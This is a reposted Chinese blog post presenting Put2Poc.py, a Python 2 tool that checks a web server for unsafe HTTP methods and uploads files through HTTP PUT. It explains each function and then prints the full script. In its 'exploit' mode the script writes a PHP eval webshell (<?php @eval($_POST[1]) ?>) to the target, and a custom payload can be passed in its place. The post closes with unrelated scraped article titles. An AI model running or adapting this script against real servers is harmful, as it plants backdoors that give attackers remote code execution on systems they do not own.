PUT上传POC--Put2Poc.py
环境
Python 2.7 requestssys
Windows 7
Apache 已完成put配置。
PHP
Apache PUT配置
简单介绍一下源码,增加易读性。
POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。
def main():if len(sys.argv) < 2 :print u'''Version:1.0请输入将要验证的URL(eg:Put2Poc.py http://test.com)Put2Poc.py arg1 arg2arg1:目标URLarg2: 选择(1)验证OR(2)利用(默认为验证)arg3: 选择上传文件的目录,默认为/(eg:/test/)arg4: 设置长传的文件的文件名,默认为test.htmlarg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)注:当前版本仅支持PHP语言的利用'''sys.exit()if len(sys.argv) >= 2 :url = sys.argv[1]YN = 1path = '/'filename = 'test.html' content = None# print urlif 'http' not in url :print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'sys.exit()if len(sys.argv) >= 3 :# print type(sys.argv[2])if sys.argv[2] in '2' :filename = 'test.php'if sys.argv[2] not in ['1','2'] :print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'sys.exit()YN = sys.argv[2]if len(sys.argv) >= 4 :path = sys.argv[3]if len(sys.argv) >= 5 :filename = sys.argv[4]if len(sys.argv) >= 6 :content = sys.argv[5]if len(sys.argv) > 6 :print u'请检查参数设置'sys.exit()r_options = Test2Option(url,YN)if content is not None :Put2File(url,YN,r_options,path,filename,content)else:Put2File(url,YN,r_options,path,filename)# print r_options
Error2status(code) 判断请求的返回状态。
参数 code : 请求返回的状态码
def Error2status(code):if 400 <= code < 500:return 4if 500 <= code < 600 :return 5if 200 <= code < 400 :return True
Test2Option(url,YN)探测目标URL是否支持OPTIONS方法
参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN):try:r = requests.options(url,verify=False,timeout=10)except :print u'Error,请检查链接是否可以访问'sys.exit()r_options = r.headersr_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'该链接不支持OPTIONS方法'sys.exit()if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'请检查链接是否可以访问'sys.exit()if r_status_code is True :print u'该链接存在不安全的HTTP方法'print r_options['Allow']return r_options['Allow']
Put2File(url,YN,r_options,path,filename,content=None)
参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None):url = url.rstrip('/') + path + filenameprint urlheaders = {'Accept': '*/*','Accept-Language': 'en-US','User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)' }data = '<script>alert(1)</script>'if YN is '2':data = '<?php @eval($_POST[1]) ?>'if content is not None :data = contentr = requests.put(url,headers=headers,data=data)r_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code is True :print u'Server status code: %s' %(r.status_code)print u'服务器支持PUT文件上传'print u'文件名: %s' %(filename)print u'文件内容: %s' %(data)print u'文件长传位置为: %s' %(path)print u'文件链接: %s' %(url)print r.content
POC
#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#import requests
import sysdef Error2status(code):if 400 <= code < 500:return 4if 500 <= code < 600 :return 5if 200 <= code < 400 :return Truedef Test2Option(url,YN):try:r = requests.options(url,verify=False,timeout=10)except :print u'Error,请检查链接是否可以访问'sys.exit()r_options = r.headersr_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'该链接不支持OPTIONS方法'sys.exit()if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'请检查链接是否可以访问'sys.exit()if r_status_code is True :print u'该链接存在不安全的HTTP方法'print r_options['Allow']return r_options['Allow']def Put2File(url,YN,r_options,path,filename,content=None):url = url.rstrip('/') + path + filenameprint urlheaders = {'Accept': '*/*','Accept-Language': 'en-US','User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)' }data = '<script>alert(1)</script>'if YN is '2':data = '<?php @eval($_POST[1]) ?>'if content is not None :data = contentr = requests.put(url,headers=headers,data=data)r_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code is True :print u'Server status code: %s' %(r.status_code)print u'服务器支持PUT文件上传'print u'文件名: %s' %(filename)print u'文件内容: %s' %(data)print u'文件长传位置为: %s' %(path)print u'文件链接: %s' %(url)print r.contentdef main():if len(sys.argv) < 2 :print u'''Version:1.0请输入将要验证的URL(eg:Put2Poc.py http://test.com)Put2Poc.py arg1 arg2arg1:目标URLarg2: 选择(1)验证OR(2)利用(默认为验证)arg3: 选择上传文件的目录,默认为/(eg:/test/)arg4: 设置长传的文件的文件名,默认为test.htmlarg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)注:当前版本仅支持PHP语言的利用'''sys.exit()if len(sys.argv) >= 2 :url = sys.argv[1]YN = 1path = '/'filename = 'test.html' content = None# print urlif 'http' not in url :print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'sys.exit()if len(sys.argv) >= 3 :# print type(sys.argv[2])if sys.argv[2] in '2' :filename = 'test.php'if sys.argv[2] not in ['1','2'] :print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'sys.exit()YN = sys.argv[2]if len(sys.argv) >= 4 :path = sys.argv[3]if len(sys.argv) >= 5 :filename = sys.argv[4]if len(sys.argv) >= 6 :content = sys.argv[5]if len(sys.argv) > 6 :print u'请检查参数设置'sys.exit()r_options = Test2Option(url,YN)if content is not None :Put2File(url,YN,r_options,path,filename,content)else:Put2File(url,YN,r_options,path,filename)# print r_optionsif __name__ == '__main__':main()
注:欢迎指正和提出修改意见。
转载于:https://blog.51cto.com/dearch/2060336
PUT上传POC--Put2Poc.py相关推荐
- python bottle 上传文件_bottle.py 实现批量文件上传
bottle.py是python的一个Web框架,整个框架只有一个文件,几十K,却自带了路径映射.模板.简单的数据库访问等web框架组件,确实是个可用的框架.初学web开发可以拿来玩玩,其语法简单,部 ...
- django文件上传
Django在处理文件上传时,文件数据被打包封装在request.FILES中. 一.简单上传 首先,写一个form模型,它必须包含一个FileField: # forms.py from djang ...
- python 上传文件夹,python – 使用Flask上传文件夹/文件
我可以通过这个例子上传一个带烧瓶的文件: 但我不知道如何上传文件夹或一些文件.我搜索过,我发现了这个: Uploading multiple files with Flask.最后,我得到了如何上传多 ...
- django 类取消csrf_Django之Form组件详解、图片上传及定制
Django的Form功能 生成HTML标签 验证用户数据(显示错误信息) HTML Form提交保留上次提交数据 初始化页面显示内容 Django form 流程 1.创建类,继承form.Form ...
- python flask上传文件_Python-Flask-文件上传
一.Python-Flask-文件上传 1.简化版文件上传 创建目录: cd 5-4 mkdir -p uploads #必须先创建uploads文件夹. upload.html Title 文件上传 ...
- 2018年7月份,python上传自己的包库到pypi官网的方法
最近pypi官网进行了更新,老的上传网址作废了.记录下上传到pypi的方法 0.去pypi官网注册账号,没账号是不可能上传的,想想也是那不乱套了吗,注册后会收到一个邮件需要点击然后重新登录 1.目录就 ...
- ORM中的事务和锁、Ajax异步请求和局部刷新、Ajax文件上传、日期时间类型的Json、多表查询图书系统
一.ORM中的事务和锁 事务 事务要确保原子性 """ 事务ACID原子性:不可分隔的最小单位一致性:跟原子性是相辅相成隔离性:事务之间相互不干扰持久性:事务一旦确认永久 ...
- kindeditor=4.1.5上传漏洞复现
0x00 漏洞描述 漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中 这里 ...
- 如何利用Pycharm将工程文件上传到服务器
首先点击Tools->Deployment->Configuration 进入界面: 如果之前我们已经设置好了远程服务器,那么就直接选择.如果没有设置好,就选择左侧的"+&quo ...
- python 网盘上传_【Python3】基于文叔叔网盘上传与下载的Python脚本
[Python] 纯文本查看 复制代码import requests import os import hashlib from threading import Thread import sys ...
最新文章
- C++_类和动态内存分配2-改进后的String类
- Docker容器对CPU资源隔离的几种方式
- git reset改写提交
- python 判断子序列_Leetcode练习(Python):第392题:判断子序列:给定字符串 s 和 t ,判断 s 是否为 t 的子序列。...
- python课程水平测试成绩查询_学业水平考试成绩查询系统入口
- web服务中使用线程池减少时间的方法
- 技术人创业之心不死!
- 怎样使按钮响应回车键
- 前端处理后端返回的二进制流文件
- SSM整合步骤(超详细)
- yii2自动更新时间
- SQLite3 获取最小可用ID,ID无需包含1
- 统计指标 ---离散趋势指标
- html+js+css+mysql实现音乐播放器
- 平衡小车c语言程序,【全部开源】两轮平衡小车(原理图、PCB、程序源码、BOM等)...
- zynq系列之-----PS端iic使用
- Crowding Counter 之 修改ShanghaiTech数据集
- 3GPP TS 29244-g30 中英文对照 | 5.4.5	DL Flow Level Marking for Application Detection
- 浪潮信息AIStation联合智源研究院 帮助用户灵敏获取本地AI算力
- 应用程序无法正常启动, 错误代码0xc0000007b
热门文章
- 2038年问题 linux内核5.6,Linux Kernel 5.6 开发者已准备好应对 2038 年问题
- dbhelp mysql c_C++写的一个MYSQL控制台(3)
- Beetl学习(一)
- cassss服务未启动_systemd时代的服务管理
- 深圳电大计算机等级考试报名时间2015,杭州2015下半年计算机等级考试报名
- java代码操作注册表,java操作注册表范例代码
- c语言五位数大到小排序,刚学c语言,老师让用if编一个五个数字从大到小的排序,有那个大神能帮我,谢谢啦...
- inputstream是否一定要close_新车是否需要底盘保养?一定要喷底盘防锈漆吗?
- maven配置 mysql_maven项目使用mybatis+mysql
- 扩展欧几里得算法(双六游戏)